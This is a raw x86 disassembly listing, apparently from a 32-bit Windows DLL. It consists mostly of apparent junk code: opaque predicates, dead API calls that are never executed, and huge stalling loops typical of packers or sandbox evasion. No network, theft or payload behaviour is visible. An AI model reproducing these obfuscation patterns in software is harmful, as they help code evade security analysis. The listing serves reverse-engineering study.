mov dword [ebp - 0x38], esi
push 3
call fcn.10012e69
mov dword [ebp - 0x4c], edi
mov dword [ebp - 0x48], 0xba7b
mov dword [ebp - 0x44], 0xd9ba5f27
mov dword [ebp - 0x1c], ebx
jmp 0x10037e1b
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x550]
mov dword [eax + ecx*4], 0xb90d
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x10037e08
mov dword [ebp - 0x1c], ebx
jmp 0x10037e35
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x65c]
mov dword [eax + ecx*4], esi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x10037e26
inc dword [ebp - 0x44]
cmp dword [ebp - 0x38], ebx
je 0x10037e4f
mov eax, dword [ebp - 0x550]
cmp dword [eax], ebx
mov eax, esi
jne 0x10037e51
mov eax, ebx
mov dword [ebp - 0x4c], eax
lea ecx, [ebp - 0x65c]
call fcn.10012eeb
or esi, 0xffffffff
lea ecx, [ebp - 0x550]
mov dword [ebp - 4], esi
call fcn.10012eeb
mov dword [ebp - 0x34], ebx
cmp dword [ebp - 0x34], 2
jg 0x100381d9
mov dword [ebp - 0x24], 0x44c
cmp dword [ebp - 0x24], 0x80e
jle 0x10037eed
push ebx
push 0xbb4
push ebx
push 0xc7a
call dword [sym.imp.USER32.dll_SetTimer]
mov eax, ebx
mov dword [ebp - 0x3c], ebx
mov esi, ebx
mov dword [ebp - 0x44], ebx
cdq
mov edi, ebx
idiv esi
mov esi, edx
mov eax, esi
mov ecx, 0x1060cad8
cdq
idiv edi
mov eax, edx
cdq
push edx
push eax
call fcn.10012b14
inc edi
cmp edi, 0xdb3
jl 0x10037eb0
mov esi, dword [ebp - 0x44]
mov eax, dword [ebp - 0x3c]
inc esi
mov dword [ebp - 0x44], esi
cmp esi, 0x46ed
jl 0x10037ea9
inc eax
mov dword [ebp - 0x3c], eax
cmp eax, 0x3ffb
jl 0x10037ea4
or esi, 0xffffffff
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x3c], 0x58f5
mov dword [ebp - 0x38], 0xd7c8a36
mov dword [ebp - 0x14], ebx
jmp 0x10037f18
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xe4], 0x256a9ef7
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x10037f07
mov dword [ebp - 0x18], ebx
jmp 0x10037f7b
mov dword [ebp - 0x38], 1
lea ecx, [ebp - 0x514]
push 3
call fcn.10012e69
mov dword [ebp - 0x14], ebx
jmp 0x10037f4f
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x514]
mov dword [eax + ecx*4], 0xbbef7d65
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x10037f3c
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0xe4], eax
mov ecx, dword [ebp - 0xe4]
mov eax, dword [ebp - 0x514]
mov dword [eax + 8], ecx
lea ecx, [ebp - 0x514]
call fcn.10012eeb
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xffffffe9
jle 0x10037f23
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], 0xffffffee
jl 0x10038187
mov dword [ebp - 0x40], 6
lea ecx, [ebp - 0x300]
mov dword [ebp - 0x54], ebx
push 3
call fcn.10012e69
mov dword [ebp - 4], 0xd
mov dword [ebp - 0x44], 0x4b74
cmp dword [ebp - 0x44], 0x4de5
jle 0x10037fe6
mov esi, ebx
mov edi, ebx
mov eax, esi
mov ecx, 0x1060cad8
cdq
idiv edi
mov eax, edx
cdq
push edx
push eax
call fcn.10012b14
inc edi
cmp edi, 0x474e
jl 0x10037fc0
inc esi
cmp esi, 0x37c1
jl 0x10037fbe
mov byte [ebp - 4], 0xe
cmp dword [ebp - 0x44], 0x49ce
jge 0x10038020
mov edx, 0x1000a6d8
mov ecx, 0x1060cad8
call fcn.10015678
jmp 0x10038020
mov dword [ebp - 4], 0xd
mov dword [ebp - 0x14], ebx
jmp 0x1003803f
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x300]
mov dword [eax + ecx*4], 0xfffffff8
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1003802c
cmp dword [ebp - 0x40], ebx
je 0x1003813f
movdqa xmm0, xmmword [0x1000c050]
lea ecx, [ebp - 0x784]
push ecx
lea eax, [ebp - 0x774]
push eax
push ecx
lea ecx, [ebp - 0x280]
movdqu xmmword [ebp - 0x784], xmm0
call fcn.10012ec5
mov dword [ebp - 0x14], ebx
jmp 0x1003808a
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x3e0], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1003807d
mov ecx, dword [ebp - 0x280]
xor esi, esi
inc esi
mov dword [ecx], esi
mov dword [ebp - 0x3c], 0x56cd8339
mov eax, dword [ebp - 0x3c]
sub eax, dword [ecx + 4]
je 0x100380cb
mov eax, dword [ebp - 0x280]
cmp dword [eax], ebx
jne 0x100380bb
mov edx, ebx
cmp dword [ebp - 0x54], ebx
je 0x100380bd
mov edx, esi
mov eax, dword [ebp - 0x280]
mov eax, dword [eax]
add eax, edx
mov eax, esi
jne 0x100380cd
mov eax, ebx
xor edx, edx
mov dword [ebp - 0xe4], ebx
cmp eax, dword [ecx + 4]
mov eax, dword [ebp - 0x18]
setle dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x40]
setl cl
xor edx, edx
cmp ecx, eax
setge dl
xor eax, eax
sub edx, dword [ebp - 0x3e0]
mov ecx, dword [ebp - 0x3dc]
cmp edx, 0xfffffffb
setge al
xor edx, edx
imul ecx, eax
mov eax, dword [ebp - 0x280]
cmp dword [eax], ecx
mov eax, dword [ebp - 0x300]
setg dl
xor ecx, ecx
cmp edx, 0xe33ecdc0
setne cl
imul ecx, dword [eax + 8]
xor eax, eax
test ecx, ecx
lea ecx, [ebp - 0x280]
setle al
mov dword [ebp - 0x38], eax
call fcn.10012eeb
jmp 0x1003816e
mov dword [ebp - 0x44], 0x11f64db2
xor edx, edx
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0xe0], eax
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0xe4]
cmp eax, ecx
mov eax, dword [ebp - 0x300]
setg dl
mov dword [eax + 8], edx
or esi, 0xffffffff
lea ecx, [ebp - 0x300]
mov dword [ebp - 4], esi
call fcn.10012eeb
dec dword [ebp - 0x18]
jmp 0x10037f84
mov dword [ebp - 4], 0x10
cmp dword [ebp - 0x24], 0x3ae
jge 0x100381c7
mov edx, 0x1000a680
mov ecx, 0x1060cad8
call fcn.10015678
jmp 0x100381c7
mov dword [ebp - 4], esi
mov dword [ebp - 0x44], 0xfffffff8
inc dword [ebp - 0x34]
jmp 0x10037e73
dec dword [ebp - 0x2c]
jmp 0x100376fa
mov dword [ebp - 0x2c], 0xc204e2db
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x40], 0x27a8
cmp dword [ebp - 0x40], 0x289c
jle 0x10038228
mov esi, ebx
mov edi, ebx
mov eax, edi
mov ecx, 0x1060cad8
and eax, esi
cdq
push edx
push eax
call fcn.10012b14
inc edi
cmp edi, 0x375a
jl 0x10038202
inc esi
cmp esi, 0x7767
jl 0x10038200
or esi, 0xffffffff
push 2
mov dword [ebp - 0x2c], 0x12
pop edi
cmp dword [ebp - 0x2c], 0xfffffff4
jne 0x100382f8
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x3c], 3
mov dword [ebp - 0x44], 0xfffffffe
mov dword [ebp - 0x14], ebx
jmp 0x10038263
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x43c], 0x5db5a26c
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x10038252
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x50]
sub ecx, eax
mov dword [ebp - 0x44], ecx
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x1c]
cmp eax, ecx
setne dl
add edx, dword [ebp - 0x50]
jne 0x10038298
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x434]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x434]
mov ecx, dword [ebp - 0x1c]
dec eax
neg eax
sbb eax, eax
neg eax
sub ecx, eax
mov eax, dword [ebp - 0x434]
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
add ecx, eax
mov eax, dword [ebp - 0x50]
cmp ecx, eax
setge dl
add edx, dword [ebp - 0x50]
mov dword [ebp - 0x44], edx
mov dword [ebp - 0x1c], ebx
jmp 0x100382eb
mov dword [ebp - 0x44], 0xfffffff8
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jle 0x100382e1
dec dword [ebp - 0x2c]
jmp 0x10038232
mov dword [ebp - 4], 0x12
cmp dword [ebp - 0x40], 0x2725
jge 0x1003833b
mov edx, 0x1000a750
mov ecx, 0x1060cad8
call fcn.10015678
jmp 0x1003833b
mov dword [ebp - 4], esi
xor ecx, ecx
mov dword [ebp - 0x44], 0x6338
inc ecx
mov dword [ebp - 0x14], ebx
jmp 0x1003835a
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x670], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1003834d
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
cmp esi, eax
sbb eax, eax
neg eax
mov dword [ebp - 0x670], eax
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x1003838d
push 0xe21
push ebx
push ebx
push 0x26fb
push ebx
call dword [sym.imp.SHELL32.dll_ExtractIconExW]
xor esi, esi
mov dword [ebp - 0x44], 0x6338
mov dword [ebp - 0x14], ebx
inc esi
cmp dword [ebp - 0x14], edi
jge 0x100383ae
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x620], esi
inc dword [ebp - 0x14]
jmp 0x1003839a
mov eax, dword [ebp - 0x44]
or ecx, 0xffffffff
mov eax, dword [ebp - 0x44]
cmp ecx, eax
sbb eax, eax
neg eax
mov dword [ebp - 0x620], eax
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x100383df
push 0xe21
push ebx
push ebx
push 0x26fb
push ebx
call dword [sym.imp.SHELL32.dll_ExtractIconExW]
mov dword [ebp - 0x14], 0xe2799ac7
mov dword [ebp - 0x14], ebx
jmp 0x1003840c
mov dword [ebp - 0x38], esi
cmp dword [ebp - 0x38], ebx
jne 0x10038412
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x10038409
push ebx
push ebx
push 0x1538
call dword [sym.imp.GDI32.dll_SelectPalette]
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xffffffe3
jg 0x100383eb
mov eax, 0x1006b88c
lea ecx, [ebp - 0x39c]
push edi
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x58], eax
call fcn.10012e69
mov dword [ebp - 4], 0x14
lea ecx, [ebp - 0x318]
mov dword [ebp - 0x34], 0xffffffff
mov dword [ebp - 0x48], 0x884cb8f6
mov dword [ebp - 0x50], 0xfffffffd
push edi
call fcn.10012e69
mov byte [ebp - 4], 0x15
mov dword [ebp - 0x2c], 0xbdd7
mov dword [ebp - 0x4c], 0x2718
mov dword [ebp - 0x48], 0xeaac
mov dword [ebp - 0x1c], ebx
jmp 0x10038482
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x39c]
mov dword [eax + ecx*4], 0x342eb90d
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x1003846f
mov dword [ebp - 0x1c], ebx
jmp 0x1003849b
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x318]
mov dword [eax + ecx*4], esi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x1003848c
mov dword [ebp - 0x34], ebx
cmp dword [ebp - 0x34], esi
jg 0x10038687
lea eax, [ebp - 0x5c0]
mov edi, 0xbe4a9ff1
lea ecx, [ebp - 0x5b0]
movdqa xmm0, xmmword [0x1000c010]
push ecx
push ecx
mov dword [ebp - 0x48], 8
lea ecx, [ebp - 0x5e8]
push eax
movdqu xmmword [ebp - 0x5c0], xmm0
call fcn.10012ec5
push esi
lea ecx, [ebp - 0x3a8]
mov byte [ebp - 4], 0x16
call fcn.10012e69
xor edx, edx
mov dword [ebp - 0x38], 0xfffffff7
inc edx
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x44], 0xa6f
mov dword [ebp - 0x14], ebx
jmp 0x1003851e
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x3a8]
mov dword [eax + ecx*4], 0xf27a4129
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x1003850b
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x2c]
neg ecx
sbb ecx, ecx
neg ecx
imul eax, ecx
or ecx, 0xffffffff
cmp ecx, eax
sbb eax, eax
xor ecx, ecx
neg eax
cmp ecx, eax
sbb eax, eax
neg eax
sub eax, dword [ebp - 0x4c]
jne 0x10038557
mov eax, dword [ebp - 0x39c]
mov esi, ebx
cmp dword [eax], ebx
je 0x10038559
mov esi, edx
mov edx, dword [ebp - 0x34]
xor ebx, ebx
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x39c]
mov eax, dword [ecx + eax*4]
cmp eax, dword [ecx + edx*4]
mov ecx, dword [ebp - 0x3a8]
setle bl
xor edx, edx
dec ebx
mov eax, dword [ecx]
sub eax, esi
sub eax, 0x6082
imul ebx, eax
dec dword [ecx]
mov dword [ebp - 0x50], ebx
xor ebx, ebx
mov dword [ebp - 0x50], ebx
inc edx
jmp 0x10038649
mov dword [ebp - 0x24], 0x82b3f54c
mov dword [ebp - 0x3c], 0x61ca7276
mov dword [ebp - 0x40], 0x12cd
mov dword [ebp - 0x38], 0xffffffff
mov dword [ebp - 0x14], ebx
jmp 0x100385c3
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x238], edx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x100385b6
mov ecx, dword [ebp - 0x24]
xor edx, edx
mov eax, dword [ebp - 0x24]
cmp ecx, eax
mov eax, dword [ebp - 0x5e8]
setg dl
mov dword [eax], edx
cmp edx, dword [ebp - 0x24]
jne 0x100385ee
cmp dword [ebp - 0x2c], ebx
je 0x100385ee
xor edx, edx
inc edx
mov ecx, edx
jmp 0x100385f3
xor edx, edx
mov ecx, ebx
inc edx
mov eax, dword [ebp - 0x318]
mov dword [eax], ecx
lea eax, [ecx + 0x95dd]
cmp eax, dword [ebp - 0x30]
jne 0x1003860d
mov eax, edx
cmp dword [ebp - 0x24], ebx
jne 0x1003860f
mov eax, ebx
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x40]
cmp dword [ebp - 0x3c], eax
je 0x10038621
mov eax, ebx
cmp dword [ebp - 0x3c], ebx
je 0x10038623
mov eax, edx
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x3a8]
cmp edi, dword [eax]
sbb eax, eax
inc eax
mov dword [ebp - 0x238], eax
inc dword [ebp - 0x50]
cmp dword [ebp - 0x50], edx
jle 0x10038595
lea ecx, [ebp - 0x3a8]
call fcn.10012eeb
lea ecx, [ebp - 0x5e8]
mov byte [ebp - 4], 0x15
call fcn.10012eeb
inc dword [ebp - 0x34]
lea eax, [ebp - 0x5c0]
xor esi, esi
lea ecx, [ebp - 0x5b0]
inc esi
cmp dword [ebp - 0x34], esi
jle 0x100384bd
mov dword [ebp - 0x44], 0x1a32
cmp dword [ebp - 0x44], 0x1a3e
jle 0x100386c0
mov edi, ebx
mov esi, ebx
mov ecx, esi
mov eax, edi
shl eax, cl
mov ecx, 0x1060cad8
cdq
push edx
push eax
call fcn.10012b14
inc esi
cmp esi, 0x7fcf
jl 0x1003869b
inc edi
cmp edi, 0x3a31
jl 0x10038699
xor eax, eax
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], ebx
jl 0x10038721
mov dword [ebp - 0x48], 0xfffffff7
mov dword [ebp - 0x34], ebx
jmp 0x10038717
mov dword [ebp - 0x48], 0xffffffff
mov dword [ebp - 0x48], 0xfffffffa
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x100386f4
call dword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x34]
add eax, 0x5364
imul edx, eax, 0xb87b
mov eax, dword [ebp - 0x318]
mov dword [eax + ecx*4], edx
xor eax, eax
mov dword [ebp - 0x50], edx
inc dword [ebp - 0x34]
inc eax
cmp dword [ebp - 0x34], eax
jle 0x100386d7
dec dword [ebp - 0x2c]
jns 0x100386cb
mov byte [ebp - 4], 0x17
cmp dword [ebp - 0x44], 0x1964
jge 0x10038761
mov edx, 0x1000a7cc
mov ecx, 0x1060cad8
call fcn.10015678
jmp 0x10038761
lea ecx, [ebp - 0x318]
or edi, 0xffffffff
call fcn.10012eeb
lea ecx, [ebp - 0x39c]
mov dword [ebp - 4], edi
call fcn.10012eeb
xor esi, esi
mov dword [ebp - 0x14], 0xe2799ac7
mov dword [ebp - 0x14], ebx
inc esi
cmp dword [ebp - 0x14], 0xffffffe3
jle 0x100387b3
mov dword [ebp - 0x38], esi
cmp dword [ebp - 0x38], ebx
jne 0x100387b3
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x100387ae
push ebx
push ebx
push 0x1538
call dword [sym.imp.GDI32.dll_SelectPalette]
dec dword [ebp - 0x14]
jmp 0x1003878a
mov dword [ebp - 0x30], 3
lea ecx, [ebp - 0x490]
mov dword [ebp - 0x44], ebx
push 4
call fcn.10012e69
mov dword [ebp - 0x14], ebx
jmp 0x100387e2
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x490]
mov dword [eax + ecx*4], 0xb4495231
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x100387cf
mov dword [ebp - 0x30], 0xffffffef
jmp 0x10038863
mov dword [ebp - 0x40], 9
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x10038818
push ebx
push ebx
push 0x1258
push 0xd51
push 0x8c8
call dword [sym.imp.USER32.dll_SendDlgItemMessageW]
mov edx, dword [ebp - 0x40]
sub edx, dword [ebp - 0x30]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
imul edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x44]
cmp eax, edx
setg cl
xor eax, eax
sub ecx, 0x950a
cmp ecx, 0x31e468a0
setne al
sub eax, dword [ebp - 0x44]
add eax, 0xad43
cmp dword [ebp - 0x30], eax
jle 0x10038856
mov ecx, esi
cmp dword [ebp - 0x40], ebx
jne 0x10038858
mov ecx, ebx
mov eax, dword [ebp - 0x490]
mov dword [eax], ecx
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0xd
jle 0x100387f1
lea ecx, [ebp - 0x490]
call fcn.10012eeb
mov dword [ebp - 0x24], 7
lea ecx, [ebp - 0x298]
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x38], 0xfffffff7
mov dword [ebp - 0x48], 0xb8e136dc
mov dword [ebp - 0x50], 5
mov dword [ebp - 0x30], 0xbd55fd0a
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0x48], 0x22a19820
push esi
call fcn.10012e69
mov dword [ebp - 4], 0x19
mov dword [ebp - 0x14], ebx
jmp 0x100388cf
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x298]
mov dword [eax + ecx*4], 0xedaacda2
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x100388bc
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x44], 0x1a1c
cmp dword [ebp - 0x44], 0x1d6a
jle 0x10038920
mov edi, ebx
mov esi, ebx
mov eax, esi
mov ecx, 0x1060cad8
or eax, edi
cdq
push edx
push eax
call fcn.10012b14
inc esi
cmp esi, 0x153a
jl 0x100388fa
inc edi
cmp edi, 0x2e35
jl 0x100388f8
or edi, 0xffffffff
mov dword [ebp - 0x40], edi
mov byte [ebp - 4], 0x1a
cmp dword [ebp - 0x44], 0x1844
jge 0x10038966
mov edx, 0x1000a818
mov ecx, 0x1060cad8
call fcn.10015678
jmp 0x10038966
mov dword [ebp - 0x3c], 0x74bdbaf9
mov dword [ebp - 0x30], ebx
jmp 0x100389e5
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x298]
mov eax, dword [ecx + eax*4]
mov dword [ecx + edx*4], eax
mov dword [ebp - 0x14], ebx
jmp 0x100389dc
dec dword [ebp - 0x40]
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x298]
mov eax, dword [eax + ecx*4]
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], ebx
je 0x100389d0
mov dword [ebp - 0x50], ebx
jmp 0x100389ba
mov eax, dword [ebp - 0x50]
mov edx, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x298]
mov eax, dword [ecx + eax*4]
mov dword [ecx + edx*4], eax
inc dword [ebp - 0x50]
cmp dword [ebp - 0x50], ebx
jle 0x100389a5
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x100389d9
call dword [sym.imp.USER32.dll_GetMessageTime]
jmp 0x100389d9
mov dword [ebp - 0x38], ebx
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x38], eax
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xffffffee
jne 0x10038989
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], ebx
jle 0x10038972
lea ecx, [ebp - 0x298]
mov dword [ebp - 4], edi
call fcn.10012eeb
mov dword [ebp - 0x14], 0xa48bbca6
mov dword [ebp - 0x14], ebx
jmp 0x10038a9c
push 1
lea ecx, [ebp - 0x4a8]
call fcn.10012e69
push 3
lea ecx, [ebp - 0x424]
mov dword [ebp - 4], 0x1c
call fcn.10012e69
xor edx, edx
mov dword [ebp - 0x1c], ebx
inc edx
jmp 0x10038a3f
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x4a8]
mov dword [eax + ecx*4], edi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jl 0x10038a30
mov dword [ebp - 0x1c], ebx
jmp 0x10038a58
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x424]
mov dword [eax + ecx*4], edx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x10038a49
mov ecx, dword [ebp - 0x424]
mov edx, dword [ebp - 0x4a8]
mov dword [ecx + 8], ebx
mov eax, dword [ecx + 8]
mov dword [edx + eax*4], 0xa624cdb8
inc dword [ecx + 8]
cmp dword [ecx + 8], 1
jl 0x10038a6d
lea ecx, [ebp - 0x424]
call fcn.10012eeb
lea ecx, [ebp - 0x4a8]
mov dword [ebp - 4], edi
call fcn.10012eeb
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0x17
je 0x10038a07
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x10038aba
push 0x1b0b
call dword [sym.imp.USER32.dll_GetKeyboardType]
mov dword [ebp - 0x30], 0x6338
mov dword [ebp - 0x1c], 0x9fe387fb
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x40], 0x1b14898d
mov dword [ebp - 0x3c], 0x4279
mov dword [ebp - 0x18], ebx
inc dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x2c], 0x215169ff
mov eax, dword [ebp - 0x2c]
sub eax, 0x5255dc81
test eax, eax
jg 0x10038b07
cmp dword [ebp - 0x1c], ebx
jne 0x10038b07
xor edx, edx
mov ecx, ebx
inc edx
jmp 0x10038b0c
xor edx, edx
inc edx
mov ecx, edx
mov eax, dword [ebp - 0x1c]
sub ecx, eax
mov dword [ebp - 0x44], ecx
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x40], ebx
jne 0x10038b25
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], ebx
je 0x10038b3d
mov eax, edx
cmp dword [ebp - 0x2c], ebx
jne 0x10038b3f
mov eax, ebx
cmp eax, dword [ebp - 0x1c]
jg 0x10038b4b
mov eax, ebx
cmp dword [ebp - 0x40], ebx
je 0x10038b4d
mov eax, edx
mov esi, 0xdab6ac39
cmp esi, eax
mov eax, dword [ebp - 0x1c]
mov esi, 0xffff
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
setge dl
add edx, dword [ebp - 0x3c]
je 0x10038b74
mov dword [ebp - 0x2c], 0xfffffffa
jmp 0x10038baa
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x18], 0x15
jmp 0x10038b94
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x10038b91
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xfffffff6
jge 0x10038b80
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x18], 3
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x18], ebx
mov eax, 0x26d8d38
mov dword [ebp - 0x2b4], eax
mov dword [ebp - 0x2b0], eax
mov dword [ebp - 0x2ac], eax
mov dword [ebp - 0x2a8], eax
mov dword [ebp - 0x3c], 0xfffffffa
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x38], 7
cmp dword [ebp - 0x18], ebx
je 0x10038ca7
xor edx, edx
xor ecx, ecx
inc edx
mov eax, edx
cmp eax, 0x2e60
setne cl
xor eax, eax
sub ecx, 0x9fa5
cmp ecx, 0x2f92e6c0
setl al
test eax, eax
js 0x10038ca7
mov dword [ebp - 0x5a0], esi
mov dword [ebp - 0x59c], esi
mov dword [ebp - 0x598], esi
mov dword [ebp - 0x594], esi
mov dword [ebp - 0x50], ebx
jmp 0x10038c6c
mov dword [ebp - 0x44], 0x1c0a9c5a
mov dword [ebp - 0x40], 0x883781cd
mov eax, dword [ebp - 0x44]
cmp eax, dword [ebp - 0x44]
jg 0x10038c5b
mov eax, dword [ebp - 0x18]
mov ecx, ebx
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x598]
imul eax, dword [ebp - 0x2b4], 0xaf7c
test eax, eax
je 0x10038c5d
mov ecx, edx
mov eax, dword [ebp - 0x38]
imul eax, ecx
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x40], edx
inc dword [ebp - 0x50]
cmp dword [ebp - 0x50], 3
jle 0x10038c29
xor edx, edx
mov dword [ebp - 0x2c], 0x91a049fe
mov dword [ebp - 0x2c], 0xffffffe6
inc edx
cmp dword [ebp - 0x2c], edx
je 0x10038dc6
mov ecx, 0x3d42
mov dword [ebp - 0x24], 8
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x24], 8
jmp 0x10038db4
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], 3
jg 0x10038c72
mov dword [ebp - 0x54], 0x919
cmp dword [ebp - 0x54], 0xbcf
jle 0x10038d48
mov eax, ebx
mov dword [ebp - 0x3c], ebx
mov ecx, ebx
mov dword [ebp - 0x40], ebx
cdq
mov edi, ebx
idiv ecx
mov dword [ebp - 0x44], edi
mov eax, edx
mov dword [ebp - 0x38], eax
lea esi, [eax + edi]
mov edi, 0x39a3
mov eax, esi
lea ecx, [ebp - 0x8f0]
cdq
push edx
push eax
call fcn.1000d4be
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10038cfd
mov eax, dword [eax]
push eax
call fcn.1004ded6
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x8f0]
call fcn.10013450
inc esi
dec edi
jne 0x10038ce3
mov edi, dword [ebp - 0x44]
mov eax, dword [ebp - 0x38]
inc edi
mov dword [ebp - 0x44], edi
cmp edi, 0x1182
jl 0x10038cdb
mov ecx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x3c]
inc ecx
mov dword [ebp - 0x40], ecx
cmp ecx, 0x1413
jl 0x10038cce
inc eax
mov dword [ebp - 0x3c], eax
cmp eax, 0x9db
jl 0x10038cc9
or edi, 0xffffffff
mov byte [ebp - 0x25], bl
cmp dword [ebp - 0x54], 0x75c
jge 0x10038d5f
push 0x1000a878
call fcn.1004ded6
